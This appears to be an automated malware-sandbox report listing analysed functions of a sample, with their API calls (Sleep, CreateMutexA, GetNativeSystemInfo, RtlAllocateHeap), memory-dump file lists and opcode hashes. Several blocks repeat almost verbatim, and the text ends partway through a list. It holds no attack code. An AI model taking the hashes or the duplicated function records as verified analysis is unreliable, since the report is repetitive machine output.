CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 6642e42f2a8eb92ec5228089615d3f1de58550e6091ce630ad58f372da9115fd
Instruction ID: dfb3e4654596f5e0b72f457fb1c689f9808f9c855a4dee91ca39352eedc76444
Opcode Fuzzy Hash: 6642e42f2a8eb92ec5228089615d3f1de58550e6091ce630ad58f372da9115fd
Instruction Fuzzy Hash: 8A213A71B182019BFB1C9BACDC89B6DF767EBC1310F20421AF4149B3E1CB7599808752

Function 006DA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 6f965074ad3bf80d1285115f16b8ddc8acb9123c06162bb763542fa117e93821
Instruction ID: 1711f550d3f6dbe8192314ed9cf9bbe00c37c078d4e1b8bc731fcb34465ca33d
Opcode Fuzzy Hash: 6f965074ad3bf80d1285115f16b8ddc8acb9123c06162bb763542fa117e93821
Instruction Fuzzy Hash: 2F216D70F5D2018AFB2867E8989AB6DB2539F81300F24081BE844D63D1DB7B49819297

Function 006DA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 6cee38c496d20d7ed81d815e9eb524025f51b3bb1036dac8e373533180cf82e6
Instruction ID: 651968b4a1db68f39e277095e4d04a47023dfcf6791620c6b962819746f823b4
Opcode Fuzzy Hash: 6cee38c496d20d7ed81d815e9eb524025f51b3bb1036dac8e373533180cf82e6
Instruction Fuzzy Hash: D0214C71B182019BFB1C9BACDC8976DF763EBC1311F24461AE418DB7D1C77655808752

Function 006D7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006D7ED3

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d8aa10dacbce9da66bb07880e2562363688dbe840476763d15089c6a08f9f060
Instruction ID: 249d0ba115386d57d83129cebc423435e0521e374bc77a1b1b7ca21a817e43fa
Opcode Fuzzy Hash: d8aa10dacbce9da66bb07880e2562363688dbe840476763d15089c6a08f9f060
Instruction Fuzzy Hash: 3AE10970E002449BDB24BB68DC4B7AD7B63AB41720F9442DDE415AB3C2EB395F8187C6

Function 0070D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0070A813,00000001,00000364,00000006,000000FF,?,0070EE3F,?,00000004,00000000,?,?), ref: 0070D870

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
